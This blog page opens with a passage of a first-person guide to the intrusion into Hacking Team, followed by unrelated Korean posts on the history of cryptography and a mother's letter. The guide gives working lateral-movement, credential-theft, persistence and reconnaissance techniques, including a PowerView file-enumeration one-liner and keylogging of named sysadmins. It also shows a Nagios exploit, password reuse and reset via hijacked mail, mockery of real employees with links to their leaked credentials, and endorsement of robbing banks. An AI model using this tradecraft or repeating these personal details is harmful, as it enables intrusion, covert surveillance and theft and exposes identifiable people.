   invoke_psexec [4], or the builtin windows command "sc" [5]. For the
   metasploit module, powershell empire, and pth-winexe [6], you just need the
   hash, not the password. It's the most universal method (it works on any
   windows computer with port 445 open), but it's also the least stealthy.
   Event type 7045 "Service Control Manager" will appear in the event logs. In
   my experience, no one has ever noticed during a hack, but it helps the
   investigators piece together what the hacker did afterwards.

2) WMI

   The most stealthy method. The WMI service is enabled on all windows
   computers, but except for servers, the firewall blocks it by default. You
   can use wmiexec.py [7], pth-wmis [6] (here's a demonstration of wmiexec and
   pth-wmis [8]), Powershell Empire's invoke_wmi [9], or the windows builtin
   wmic [5]. All except wmic just need the hash.

3) PSRemoting [10]

   It's disabled by default, and I don't recommend enabling new protocols.
   But, if the sysadmin has already enabled it, it's very convenient,
   especially if you use powershell for everything (and you should use
   powershell for almost everything, it will change [11] with powershell 5 and
   windows 10, but for now powershell makes it easy to do everything in RAM,
   avoid AV, and leave a small footprint)

4) Scheduled Tasks

   You can execute remote programs with at and schtasks [5]. It works in the
   same situations where you could use psexec, and it also leaves a well known
   footprint [12].

5) GPO

   If all those protocols are disabled or blocked by the firewall, once you're
   Domain Admin, you can use GPO to give users a login script, install an msi,
   execute a scheduled task [13], or, like we'll see with the computer of
   Mauro Romeo (one of Hacking Team's sysadmins), use GPO to enable WMI and
   open the firewall.

[1] https://technet.microsoft.com/en-us/sysinternals/psexec.aspx
[2] https://sourceforge.net/projects/winexe/
[3] https://www.rapid7.com/db/modules/exploit/windows/smb/psexec_psh
[4] http://www.powershellempire.com/?page_id=523
[5] http://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-cc/
[6] https://github.com/byt3bl33d3r/pth-toolkit
[7] https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
[8] https://www.trustedsec.com/june-2015/no_psexec_needed/
[9] http://www.powershellempire.com/?page_id=124
[10] http://www.maquinasvirtuales.eu/ejecucion-remota-con-powershell/
[11] https://adsecurity.org/?p=2277
[12] https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems
[13] https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py


"In place" Movement:

1) Token Stealing

   Once you have admin access on a computer, you can use the tokens of the
   other users to access resources in the domain. Two tools for doing this are
   incognito [1] and the mimikatz token::* commands [2].

2) MS14-068

   You can take advantage of a validation bug in Kerberos to generate Domain
   Admin tickets [3][4][5].

3) Pass the Hash

   If you have a user's hash, but they're not logged in, you can use
   sekurlsa::pth [2] to get a ticket for the user.

4) Process Injection

   Any RAT can inject itself into other processes. For example, the migrate
   command in meterpreter and pupy [6], or the psinject [7] command in
   powershell empire. You can inject into the process that has the token you
   want.

5) runas

   This is sometimes very useful since it doesn't require admin privileges.
   The command is part of windows, but if you don't have a GUI you can use
   powershell [8].

[1] https://www.indetectables.net/viewtopic.php?p=211165
[2] https://adsecurity.org/?page_id=1821
[3] https://github.com/bidord/pykek
[4] https://adsecurity.org/?p=676
[5] http://www.hackplayers.com/2014/12/CVE-2014-6324-como-validarse-con-cualquier-usuario-como-admin.html
[6] https://github.com/n1nj4sec/pupy
[7] http://www.powershellempire.com/?page_id=273
[8] https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1


----[ 13.2 - Persistence ]------------------------------------------------------

Once you have access, you want to keep it. Really, persistence is only a
challenge for assholes like Hacking Team who target activists and other
individuals. To hack companies, persistence isn't needed since companies never
sleep. I always use Duqu 2 style "persistence", executing in RAM on a couple
high-uptime servers. On the off chance that they all reboot at the same time,
I have passwords and a golden ticket [1] as backup access. You can read more
about the different techniques for persistence in windows here [2][3][4]. But
for hacking companies, it's not needed and it increases the risk of detection.

[1] http://blog.cobaltstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/
[2] http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/
[3] http://www.hexacorn.com/blog/category/autostart-persistence/
[4] https://blog.netspi.com/tag/persistence/


----[ 13.3 - Internal reconnaissance ]------------------------------------------

The best tool these days for understanding windows networks is Powerview [1].
It's worth reading everything written by it's author [2], especially [3], [4],
[5], and [6]. Powershell itself is also quite powerful [7]. As there are still
many windows 2000 and 2003 servers without powershell, you also have to learn
the old school [8], with programs like netview.exe [9] or the windows builtin
"net view". Other techniques that I like are:

1) Downloading a list of file names

   With a Domain Admin account, you can download a list of all filenames in
   the network with powerview:

   Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
   select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1] |
   select fullname | out-file -append files.txt}

   Later, you can read it at your leisure and choose which files to download.

2) Reading email

   As we've already seen, you can download email with powershell, and it has a
   lot of useful information.

3) Reading sharepoint

   It's another place where many businesses store a lot of important
   information. It can also be downloaded with powershell [10].

4) Active Directory [11]

   It has a lot of useful information about users and computers. Without being
   Domain Admin, you can already get a lot of info with powerview and other
   tools [12]. After getting Domain Admin, you should export all the AD
   information with csvde or another tool.

5) Spy on the employees

   One of my favorite hobbies is hunting sysadmins. Spying on Christian Pozzi
   (one of Hacking Team's sysadmins) gave me access to a Nagios server which
   gave me access to the rete sviluppo (development network with the source
   code of RCS). With a simple combination of Get-Keystrokes and
   Get-TimedScreenshot from PowerSploit [13], Do-Exfiltration from nishang
   [14], and GPO, you can spy on any employee, or even on the whole domain.

[1] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
[2] http://www.harmj0y.net/blog/tag/powerview/
[3] http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/
[4] http://www.harmj0y.net/blog/redteaming/powerview-2-0/
[5] http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/
[6] http://www.slideshare.net/harmj0y/i-have-the-powerview
[7] https://adsecurity.org/?p=2535
[8] https://www.youtube.com/watch?v=rpwrKhgMd7E
[9] https://github.com/mubix/netview
[10] https://blogs.msdn.microsoft.com/rcormier/2013/03/30/how-to-perform-bulk-downloads-of-files-in-sharepoint/
[11] https://adsecurity.org/?page_id=41
[12] http://www.darkoperator.com/?tag=Active+Directory
[13] https://github.com/PowerShellMafia/PowerSploit
[14] https://github.com/samratashok/nishang


--[ 14 - Hunting Sysadmins ]----------------------------------------------------

Reading their documentation about their infrastructure [1], I saw that I was
still missing access to something important - the "Rete Sviluppo", an isolated
network with the source code for RCS. The sysadmins of a company always have
access to everything, so I searched the computers of Mauro Romeo and Christian
Pozzi to see how they administer the Sviluppo network, and to see if there
were any other interesting systems I should investigate. It was simple to
access their computers, since they were part of the windows domain where I'd
already gotten admin access. Mauro Romeo's computer didn't have any ports
open, so I opened the port for WMI [2] and executed meterpreter [3]. In
addition to keylogging and screen scraping with Get-Keystrokes and
Get-TimeScreenshot, I used many /gather/ modules from metasploit, CredMan.ps1
[4], and searched for interesting files [5]. Upon seeing that Pozzi had a
Truecrypt volume, I waited until he'd mounted it and then copied off the
files. Many have made fun of Christian Pozzi's weak passwords (and of
Christian Pozzi in general, he provides plenty of material [6][7][8][9]). I
included them in the leak as a false clue, and to laugh at him. The reality is
that mimikatz and keyloggers view all passwords equally.

[1] http://hacking.technology/Hacked%20Team/FileServer/FileServer/Hackingteam/InfrastrutturaIT/
[2] http://www.hammer-software.com/wmigphowto.shtml
[3] https://www.trustedsec.com/june-2015/no_psexec_needed/
[4] https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Credentials-d44c3cde
[5] http://pwnwiki.io/#!presence/windows/find_files.md
[6] http://archive.is/TbaPy
[7] http://hacking.technology/Hacked%20Team/c.pozzi/screenshots/
[8] http://hacking.technology/Hacked%20Team/c.pozzi/Desktop/you.txt
[9] http://hacking.technology/Hacked%20Team/c.pozzi/credentials/


--[ 15 - The bridge ]-----------------------------------------------------------

Within Christian Pozzi's Truecrypt volume, there was a textfile with many
passwords [1]. One of those was for a Fully Automated Nagios server, which had
access to the Sviluppo network in order to monitor it. I'd found the bridge I
needed. The textfile just had the password to the web interface, but there was
a public code execution exploit [2] (it's an unauthenticated exploit, but it
requires that at least one user has a session initiated, for which I used the
password from the textfile).

[1] http://hacking.technology/Hacked%20Team/c.pozzi/Truecrypt%20Volume/Login%20HT.txt
[2] http://seclists.org/fulldisclosure/2014/Oct/78


--[ 16 - Reusing and resetting passwords ]--------------------------------------

Reading the emails, I'd seen Daniele Milan granting access to git repos. I
already had his windows password thanks to mimikatz. I tried it on the git
server and it worked. Then I tried sudo and it worked. For the gitlab server
and their twitter account, I used the "forgot my password" function along with
my access to their mail server to reset the passwords.


--[ 17 - Conclusion ]-----------------------------------------------------------

That's all it takes to take down a company and stop their human rights abuses.
That's the beauty and asymmetry of hacking: with 100 hours of work, one person
can undo years of work by a multi-million dollar company. Hacking gives the
underdog a chance to fight and win.

Hacking guides often end with a disclaimer: this information is for
educational purposes only, be an ethical hacker, don't attack systems you
don't have permission to, etc. I'll say the same, but with a more rebellious
conception of "ethical" hacking. Leaking documents, expropriating money from
banks, and working to secure the computers of ordinary people is ethical
hacking. However, most people that call themselves "ethical hackers" just work
to secure those who pay their high consulting fees, who are often those most
deserving to be hacked.

Hacking Team saw themselves as part of a long line of inspired Italian design
[1]. I see Vincenzetti, his company, his cronies in the police, Carabinieri,
and government, as part of a long tradition of Italian fascism. I'd like to
dedicate this guide to the victims of the raid on the Armando Diaz school, and
to all those who have had their blood spilled by Italian fascists.

[1] https://twitter.com/coracurrier/status/618104723263090688


--[ 18 - Contact ]--------------------------------------------------------------

To send me spear phishing attempts, death threats in Italian [1][2], and to
give me 0days or access inside banks, corporations, governments, etc.

[1] http://andres.delgado.ec/2016/01/15/el-miedo-de-vigilar-a-los-vigilantes/
[2] https://twitter.com/CthulhuSec/status/619459002854977537

only encrypted email please:
https://securityinabox.org/es/thunderbird_usarenigmail
-----BEGIN PGP PUBLIC KEY BLOCK-----

mQENBFVp37MBCACu0rMiDtOtn98NurHUPYyI3Fua+bmF2E7OUihTodv4F/N04KKx
vDZlhKfgeLVSns5oSimBKhv4Z2bzvvc1w/00JH7UTLcZNbt9WGxtLEs+C+jF9j2g
27QIfOJGLFhzYm2GYWIiKr88y95YLJxvrMNmJEDwonTECY68RNaoohjy/TcdWA8x
+fCM4OHxM4AwkqqbaAtqUwAJ3Wxr+Hr/3KV+UNV1lBPlGGVSnV+OA4m8XWaPE73h
VYMVbIkJzOXK9enaXyiGKL8LdOHonz5LaGraRousmiu8JCc6HwLHWJLrkcTI9lP8
Ms3gckaJ30JnPc/qGSaFqvl4pJbx/CK6CwqrABEBAAG0IEhhY2sgQmFjayEgPGhh
Y2tiYWNrQHJpc2V1cC5uZXQ+iQE3BBMBCgAhBQJXAvPFAhsDBQsJCAcDBRUKCQgL
BRYCAwEAAh4BAheAAAoJEDScPRHoqSXQoTwIAI8YFRdTptbyEl6Khk2h8+cr3tac
QdqVNDdp6nbP2rVPW+o3DeTNg0R+87NAlGWPg17VWxsYoa4ZwKHdD/tTNPk0Sldf
cQE+IBfSaO0084d6nvSYTpd6iWBvCgJ1iQQwCq0oTgROzDURvWZ6lwyTZ8XK1KF0
JCloCSnbXB8cCemXnQLZwjGvBVgQyaF49rHYn9+edsudn341oPB+7LK7l8vj5Pys
4eauRd/XzYqxqNzlQ5ea6MZuZZL9PX8eN2obJzGaK4qvxQ31uDh/YiP3MeBzFJX8
X2NYUOYWm3oxiGQohoAn//BVHtk2Xf7hxAY4bbDEQEoDLSPybZEXugzM6gC5AQ0E
VWnfswEIANaqa8fFyiiXYWJVizUsVGbjTTO7WfuNflg4F/q/HQBYfl4ne3edL2Ai
oHOGg0OMNuhNrs56eLRyB/6IjM3TCcfn074HL37eDT0Z9p+rbxPDPFOJAMFYyyjm
n5a6HfmctRzjEXccKFaqlwalhnRP6MRFZGKU6+x1nXbiW8sqGEH0a/VdCR3/CY5F
Pbvmhh894wOzivUlP86TwjWGxLu1kHFo7JDgp8YkRGsXv0mvFav70QXtHllxOAy9
WlBP72gPyiWQ/fSUuoM+WDrMZZ9ETt0j3Uwx0Wo42ZoOXmbAd2jgJXSI9+9e4YUo
jYYjoU4ZuX77iM3+VWW1J1xJujOXJ/sAEQEAAYkBHwQYAQIACQUCVWnfswIbDAAK
CRA0nD0R6Kkl0ArYB/47LnABkz/t6M1PwOFvDN3e2JNgS1QV2YpBdog1hQj6RiEA
OoeQKXTEYaymUwYXadSj7oCFRSyhYRvSMb4GZBa1bo8RxrrTVa0vZk8uA0DB1ZZR
LWvSR7nwcUkZglZCq3Jpmsy1VLjCrMC4hXnFeGi9AX1fh28RYHudh8pecnGKh+Gi
JKp0XtOqGF5NH/Zdgz6t+Z8U++vuwWQaubMJTRdMTGhaRv+jIzKOiO9YtPNamHRq
Mf2vA3oqf22vgWQbK1MOK/4Tp6MGg/VR2SaKAsqyAZC7l5TeoSPN5HdEgA7u5GpB
D0lLGUSkx24yD1sIAGEZ4B57VZNBS0az8HoQeF0k
=E5+y
-----END PGP PUBLIC KEY BLOCK-----



                      If not you, who? If not now, when?
                _   _            _      ____             _    _ 
               | | | | __ _  ___| | __ | __ )  __ _  ___| | _| |
               | |_| |/ _` |/ __| |/ / |  _ \ / _` |/ __| |/ / |
               |  _  | (_| | (__|   <  | |_) | (_| | (__|   <|_|
               |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)

 

 

http://www.boannews.com/media/view.asp?idx=50341

http://pastebin.com/raw/0SNSvyjJ

 Posted by at 11:15 AM

암호의 역사

 IT, 정보보호  Comments Off on 암호의 역사
Jun 122015
 

KISA에 있는 암호의 역사에 관한 다음 페이지에서 내가 저자로 참여한 “훤히 보이는 정보보호”의 내용을 거의 그대로 이용했군요. 내가 쓴 책의 내용이 이렇게 활용되는 것을 보니 매우 반갑습니다. 그런데 출처를 정확히 밝히고 이용하면 좋았을텐데요.

http://seed.kisa.or.kr/iwt/ko/intro/EgovHistory.do

인류의 수천 년 역사 속에서 위대한 왕과 장군들은 모두 효율적인 통신 수단에 의존해 나라를 다스리고 군대를 움직여 왔다 해도 과언이 아니다. 하지만 동시에 지도자들은 이러한 통신 내용이 적의 손에 들어가 귀중한 비밀이 누설되거나 중요한 정보가 들어가지 않을까 늘 우려했다. 그런 의미에서 적이 중요한 정보를 가로챌 수 있다는 위협이야말로 암호를 발시킨 원동력이었다고 할 수 있다. 이렇듯 비밀 보장이 절실히 필요해짐에 따라 각국 정부는 가능한 한 가장 안전한 암호를 만들어 내고, 이를 이용해 통신의 보안성을 확보하는 부서를 운영하게 된다.

이에 맞서 적국에서는 거기에 담긴 비밀을 빼내려는 암호 해독가를 동시에 양성했다. 암호 해독가들은 언어를 재료로 이용하는 연금술사로, 무작위로 모아놓은 듯한 부호에서 의미를 가진 단어를 뽑아내기 위해 일생을 바치는 신비하고도 특별한 분야의 사람들이다. 암호의 역사는 바로 암호를 만드는 사람들과 이를 해독하려는 사람들이 수백 년에 걸쳐 벌여온 전쟁의 역사이다. 지성을 무기로 한 이 군비 경쟁은 때로는 역사에 극적인 영향을 미치며 그 경로를 바꿔놓기도 했다.

암호의 어원은 그리스어의 비밀이란 뜻을 가진 크립토스(Kryptos)로 알려져 있다. 이는 평문을 해독 불가능한 형태로 변형하거나 암호화된 통신문을 원래의 해독 가능한 상태로 변환하기 위한 모든 수학적인 원리, 수단, 방법 등을 취급하는 기술이나 과학을 말한다. 즉, 암호란 중요한 정보를 다른 사람들이 보지 못하도록 하는 방법을 의미한다.

암호 기술의 발전 역사를 구분할 때 흔히 두 번의 큰 전환점을 기준으로 고대 암호, 근대 암호, 현대 암호 등의 세 단계로 나눠진다. 첫 번째 전환점은 1920년대, 1, 2차 세계 대전에서 무선 통신 기술의 발전을 기반으로 여러 가지 기계적, 전자적 암호 장치를 개발하고 사용한 것이었고, 두 번째 전환점은 1970년대 들어 컴퓨터 사용이 활발해지면서 컴퓨터를 이용한 암호 기술이 발전한 것이다.

이러한 전환점을 기준으로 고대로부터 1, 2차 세계 대전 이전가지 사용된 초보적인 암호 기술들을 고대 암호라고 하면, 1970년대까지 복잡한 기계 장치와 전자 장치들을 이용한 암호 기술을 근대 암호, 컴퓨터가 개발된 이후 컴퓨터를 이용하는 암호 기술을 현대 암호라고 부른다.

고대 암호

고대 봉건 사회에서는 황제나 군주가 지방 관리에게 보내는 비밀문서, 전쟁 중의 작전 지시와 보고, 첩자들과의 통신 등 전쟁이나 첩보 시에 정보를 전달해야 하는 경우에 다양한 비밀 통신 기법들이 사용되었다. 예를 들어, 멀리 기밀 정보를 전달해야 하는 경우에는 사자의 머리를 깎고 메시지를 쓴 후 머리를 길러서 보내면 받는 측에서는 사자의 머리를 깎고 메시지를 읽도록 하였다.

또 종이에 쓴 메시지가 그냥 보이지 않지만 불빛에 약품 처리를 하면 메시지가 나타나도록 하는 방법, 비밀 노출을 방지하기 위해 말로 전달하도록 하는 방법 등이 다양하게 사용되었다. 이러한 비밀 통신 방법을 스테가노그래피(Steganography)라고 하는데 적들도 이 통신 방식을 알고 있으면 비밀을 유지하기 어렵다는 한계를 갖고 있다.

스키테일 암호

기원전 400년경 고대 그리스의 군사들은 스키테일 암호라고 불리는 전치 암호(Transposition cipher, 문자의 위치를 서로 바꾸는 암호)를 사용한 기록이 있다. 특정 지름을 갖는 막대에 종이를 감고 평문을 횡으로 쓴 다음 종이를 풀면 평문의 각 문자는 재배치되어 정보를 인식할 수 없게 되는데, 암호문 수신자가 송신자가 사용한 막대와 지름이 같은 막대에 종이를 감고 횡으로 읽으면 평문을 읽을 수 있다. 여기서 막대의 지름은 송신자와 수신자 사이에 공유된 비밀키가 된다.

시저(Caesar) 암호

로마의 황제였던 줄리어스 시저(Julius Caesar)는 시저 암호라고 불리는 환자 암호(substitution cipher, 문자를 다른 문자로 치환하는 암호)를 사용하였다. 시저는 가족과 비밀 통신을 할 때 각 알파벳순으로 세자씩 뒤로 물려 읽는 방법으로 글을 작성했다. 즉 A는 D로, B는 E로 바꿔 읽는 방식이었다. 수신자가 암호문을 복호화하려면 암호문 문자를 좌측으로 3문자씩 당겨서 읽으면 원래의 평문을 얻을 수 있다. 송신자와 수신자는 몇 문자씩 이동할지를 비밀키로 하여 바꿔가면서 사용할 수 있다.

시저는 브루투스에게 암살당하기 전 가족들로부터 다음과 같은 긴급 통신문을 받았다. 시저가 받은 편지에는 ‘EH FDUHIXO IRU DVVDVVLQDWRU’라 되어 있었다. 3글자씩 당겨서 읽어보면 뜻은 ‘BE CAREFUL FOR ASSASSINATOR’, 즉 ‘암살자를 주의하라’는 것이었다. 당시 시저의 권세를 시기했던 일당은 시저를 살해할 암살 음호를 꾸미고 있었으며 시저 자신도 이를 어느 정도 눈치 채고 있었다. 하지만 시저는 구체적으로 암살자가 누구인지 알 수 없었다. 결국 암호문을 전달받은 당일 시저는 원로원에서 전혀 생각지도 못했던 브루투스에게 암살당하면서 “브루투스, 너마저…….”라는 말을 남겼다.

악보 암호

악보 암호는 전설적인 스파이 마타하리(본명은 마그레타 G. 젤러, Margaretha Geertruida Zelle)가 사용했던 방식이다. 마타하리는 일명 ‘첩보원 H21’이란 이름으로 프랑스 장교에 접근해 군사 기밀 정보를 독일에 빼돌렸는데, 이때 비밀 통신에 사용된 암호가 악보였다. 일정한 형태의 음표에 알파벳 하나씩을 대응시킨 형태로 얼핏 보기에 평범한 악보처럼 보이지만, 실제로 연주하면 전혀 ‘음악’이 되지 않는다. 마타하리의 첩보 활동은 20여만 명에 달하는 프랑스군을 죽음으로 몰고 갔다. 그녀는 제 1차 세계 대전이 끝나기 1년 전 프랑스 정보부에 체포돼 사형 당했다.

근대 암호

17세기 근대 수학의 발전과 함께 암호 기술도 발전하기 시작했는데, 프랑스 외교관이었던 Vigenere가 고안한 키워드를 이용한 복수 시저 암호형 방식, Playfair가 만든 2문자 조합 암호 등 다양한 암호 방식으로 발전하였다.

20세기 들어서는 통신 기술의 발전과 기계식 계산기에 대한 연구를 바탕으로 두 차례의 세계 대전을 통해 암호 설계와 해독에 대한 필요성이 높아지면서 암호에 대한 연구가 더욱 활발하게 진행되었다. 근대 암호의 이론적 기초가 된 논문은 1920년 Freidman이 발표한 ‘일치 반복률과 암호 응용’과 1949년 Shannon이 발표한 ‘비밀 시스템의 통신 이론’을 들 수 있다. Shannon은 논문에서 일회성 암호 체계가 안전함을 증명했고, 암호 체계 설계의 두 가지 기본 원칙인 ‘혼돈과 확신 이론’을 제시하였다. 암호 체계를 설계함에 있어 ‘혼돈(Confusion)’은 평문과 암호문 사이의 상관관계를 숨기는 반면, ‘확산(Diffusion)’은 평문의 통계적 성격을 암호문 전반에 확산시켜 숨기는 역할을 한다. 혼돈과 확산이라는 두 가지 개념은 오늘날의 암호 체계 설계에도 여전히 적용되고 있다.

Freidman은 2차 세계 대전 중 독일군이 사용하던 에니그마(Enigma) 암호와 일본군이 사용하던 무라사끼 암호를 해독한 사람으로 유명하다. 에니그마 암호는 각기 다른 몇 개의 암호판을 전기적으로 연결하여 원문을 입력하면 전기적 연결에 의해 새로운 암호문을 출력하는 방식으로 이 기계가 존재하지 않으면 암호를 풀 수 없다.

미드웨이 해전에서의 암호 전쟁

태평양 전쟁 당시 일본의 진주만 공습으로 큰 피해를 입고 전력이 약화됐던 미국은 일본의 그 다음 공격 목표가 어디인지를 알아내야 했다. 1942년 4월, 하와이 주둔 미국 해군 정보부의 암호 해독반 블랙 챔버는 일본군의 무전이 증가하고 있음을 발견했다. 이미 일본 해군의 암호 체계인 JN-25를 해독하고 있던 해독반은 AF라는 문자가 자주 나타난다는 사실에 주목했다. AH는 진주만을 뜻하는 것이었다. 암호 해독반의 지휘관이었던 조셉 로슈포르 중령은 AF를 미드웨이 섬이라고 생각했다. 일본의 정찰기가 ‘AF 근처를 지나고 있다’는 내용의 무선 보고를 해독한 적이 있었던 그는 정찰기의 비행경로를 추정해본 결과 AF가 미드웨이 섬일 것이라는 심증을 갖게 된 것이다.

로슈포르 중령은 체스터 니미츠 제독에게 일본군의 침공이 임박했다는 것과 AF가 자주 언급된다는 점, 그리고 AF가 미드웨이 섬일 것이라는 보고를 한 후, 미드웨이 섬의 담수 시설이 고장 났다는 내용의 가짜 전문을 하와이로 평문 송신하게 하자고 건의했다. 3월에 미드웨이 섬 근처에 일본 해군의 비행정이 정찰 왔던 것을 알고 있던 니미츠 제독은 이 건의를 받아들였다. 사실 미드웨이 섬의 정수 시설은 아무런 문제가 없었다. 이틀 후, 도청된 일본군 암호 중 ‘AF에 물 부족’이라는 내용이 해독되었다. 이로써 일본군의 다음 공격 목표가 미드웨이 섬이라는 것이 분명해진 것이다.

미군은 암호 해독을 통해 일본의 공격 목표가 미드웨이라는 사실을 알아낸 후 전투에 대비하고 반격을 준비하여 일본의 태평양 함대를 격파하고 전쟁을 승리로 이끌 수 있었다.

현대 암호

현대 암호는 1970년대 후반 스탠퍼드 대학과 MIT 대학에서 시작되었다. 1976년 스탠퍼드 대학의 Diffie와 Hellman은 ‘암호의 새로운 방향(New Directions in Cryptography)’이라는 논문에서 처음으로 공개키 암호의 개념을 발표하였다. 종래의 관용 암호 방식 또는 대칭키 암호 방식에서는 암호화키와 복호화키가 동일한 비밀키를 사용하기 때문에 송신자와 수신자는 비밀 통신을 하기 전에 비밀키를 공유하고 있어야 한다. 반면 공개키 암호 방식에서는 하나의 쌍이 되는 공개키와 비밀키를 생성하여 암호화에 사용되는 공개키는 공개하고, 복호화에 사용되는 비밀키는 사용자가 안전하게 보관하도록 한다. 공개키 암호 방식에서는 송신자와 수신자가 사전에 키를 공유할 필요가 없기 때문에 불특정 다수 사용자 간에 사전 준비가 없이도 암호 통신망을 구축하는데 유용하게 사용할 수 있다.

이어 1978년 MIT 대학의 Rivest, Shamir, Adleman은 소인수 분해 문제에 기반을 둔 RSA 공개키 암호를 개발했는데, 이것은 오늘까지도 가장 널리 사용되는 공개키 암호 방식이다. 공개키 암호의 도입은 현대 암호의 발전에 중요한 계기가 되었다.

한편, 1977년 미국 상무성 표준국(NBS, 현 NIST)은 전자계산기 데이터 보호를 위한 암호 알고리즘을 공개 모집하여, IBM 사가 제안한 DES (Data Encryption Standard)를 표준 암호 알고리즘으로 채택했다. DES의 표준화를 계기로 하여 금융 시스템을 중심으로 상업용 암호화의 이용이 증가하게 되었고 컴퓨터 통신망을 이용한 문서 전송, 전자 자금 이체 등이 활성화되었으며 암호 방식이 일반인들에게 알려지고 널리 사용되는 계기가 되었다.

이전의 암호 방식에서는 사용하는 키뿐만 아니라 암호 알고리즘도 비밀로 하여 암호문의 비밀을 지키려고 하는 경우도 있었으나, 현대 암호에서는 암호 알고리즘을 공개하도록 하고 있다. 1883년 Auguste Kerckhoff는 암호 시스템의 안전성에 대해 ‘키 이외에 암호 시스템의 모든 것이 공개되어도 안전해야 한다’고 했는데 이것을 Kerckhoff’s principle이라고 한다. 이렇게 함으로써 암호 방식의 안전성을 공개적으로 검토하게 하여 안전성을 확인하는 것이다.

표준화된 암호와 표준화된 컴퓨팅 기기들을 사용하는 현대 암호에서는 암호 알고리즘을 감추기가 매우 어렵다. 또한 암호 알고리즘을 감춘다고 해서 암호의 보안성이 높아지는 것도 아니다. 비밀로 다루어진 암호 알고리즘이 일단 공개되고 나면 그 안전성에 문제가 발견되는 사례가 많다. 그러므로 암호 분야에서는 어떤 암호 알고리즘이 많은 암호 학자들에 의해 장기간 세부적으로 수행된 분석에서도 잘 견디어 낼 때까지는 그 알고리즘을 안전하다고 인정하지 않는다. 즉, 암호 체계는 ‘무죄가 증명될 때까지는 유죄’이다.

 

 Posted by at 5:28 PM

임태주 시인 – 어머니의 편지

 교육, 스크랩  Comments Off on 임태주 시인 – 어머니의 편지
Mar 292015
 

아들아, 보아라.

나는 원체 배우지 못했다. 호미 잡는 것보다 글 쓰는 것이 천만 배 고되다. 그리 알고, 서툴게 썼더라도 너는 새겨서 읽으면 된다. 내 유품을 뒤적여 네가 이 편지를 수습할 때면 나는 이미 다른 세상에 가 있을 것이다. 서러워할 일도 가슴 칠 일도 아니다. 가을이 지나고 겨울이 왔을 뿐이다. 살아도 산 것이 아니고, 죽어도 죽은 것이 아닌 것도 있다. 살려서 간직하는 건 산 사람의 몫이다. 그러니 무엇을 슬퍼한단 말이냐.

나는 옛날 사람이라서 주어진 대로 살았다. 마음대로라는 게 애당초 없는 줄 알고 살았다. 너희를 낳을 때는 힘들었지만, 낳고 보니 정답고 의지가 돼서 좋았고, 들에 나가 돌밭을 고를 때는 고단했지만, 밭이랑에서 당근이며 무며 감자알이 통통하게 몰려나올 때 내가 조물주인 것처럼 좋았다. 깨꽃은 얼마나 예쁘더냐. 양파꽃은 얼마나 환하더냐. 나는 도라지 씨를 일부러 넘치게 뿌렸다. 그 자태 고운 도라지꽃들이 무리지어 넘실거릴 때 내게는 그곳이 극락이었다. 나는 뿌리고 기르고 거두었으니 이것으로 족하다.

나는 뜻이 없다. 그런 걸 내세울 지혜가 있을 리 없다. 나는 밥 지어 먹이는 것으로 내 소임을 다했다. 봄이 오면 여린 쑥을 뜯어다 된장국을 끓였고, 여름에는 강에 나가 재첩 한 소쿠리 얻어다 맑은 국을 끓였다. 가을에는 미꾸라지를 무쇠솥에 삶아 추어탕을 끓였고, 겨울에는 가을무를 썰어 칼칼한 동태탕을 끓여냈다. 이것이 내 삶의 전부다.

너는 책 줄이라도 읽었으니 나를 헤아릴 것이다. 너 어렸을 적, 네가 나에게 맺힌 듯이 물었었다. 이장집 잔치 마당에서 일 돕던 다른 여편네들은 제 새끼들 불러 전 나부랭이며 유밀과 부스러기를 주섬주섬 챙겨 먹일 때 엄마는 왜 못 본 척 나를 외면했느냐고 내게 따져 물었다. 나는 여태 대답하지 않았다. 높은 사람들이 만든 세상의 지엄한 윤리와 법도를 나는 모른다. 그저 사람 사는 데는 인정과 도리가 있어야 한다는 것만 겨우 알 뿐이다. 남의 예식이지만 나는 그에 맞는 예의를 보이려고 했다. 그것은 가난과 상관없는 나의 인정이었고 도리였다. 그런데 네가 그 일을 서러워하며 물을 때마다 나도 가만히 아팠다. 생각할수록 두고두고 잘못한 일이 되었다. 내 도리의 값어치보다 네 입에 들어가는 떡 한 점이 더 지엄하고 존귀하다는 걸 어미로서 너무 늦게 알았다. 내 가슴에 박힌 멍울이다. 이미 용서했더라도 애미를 용서하거라.

부박하기 그지없다. 네가 어미 사는 것을 보았듯이 산다는 것은 종잡을 수가 없다. 요망하기가 한여름 날씨 같아서 비 내리겠다 싶은 날은 해가 나고, 맑구나 싶은 날은 느닷없이 소낙비가 들이닥친다. 나는 새벽마다 물 한 그릇 올리고 촛불 한 자루 밝혀서 천지신명께 기댔다. 운수소관의 변덕을 어쩌진 못해도 아주 못살게 하지는 않을 거라고 믿었다. 물살이 센 강을 건널 때는 물살을 따라 같이 흐르면서 건너야 한다. 너는 네가 세운 뜻으로 너를 가두지 말고, 네가 정한 잣대로 남을 아프게 하지도 마라. 네가 아프면 남도 아프고, 남이 힘들면 너도 힘들게 된다. 해롭고 이롭고는 이것을 기준으로 삼으면 아무 탈이 없을 것이다.

세상 사는 거 별 거 없다. 속 끓이지 말고 살아라. 너는 이 애미처럼 애태우고 참으며 제 속을 파먹고 살지 마라. 힘든 날이 있을 것이다. 힘든 날은 참지 말고 울음을 꺼내 울어라. 더없이 좋은 날도 있을 것이다. 그런 날은 참지 말고 기뻐하고 자랑하고 다녀라. 세상 것은 욕심을 내면 호락호락 곁을 내주지 않지만, 욕심을 덜면 봄볕에 담벼락 허물어지듯이 허술하고 다정한 구석을 내보여 줄 것이다. 별 것 없다. 체면 차리지 말고 살아라. 왕후장상의 씨가 따로 없고 귀천이 따로 없는 세상이니 네가 너의 존엄을 세우면 그만일 것이다.

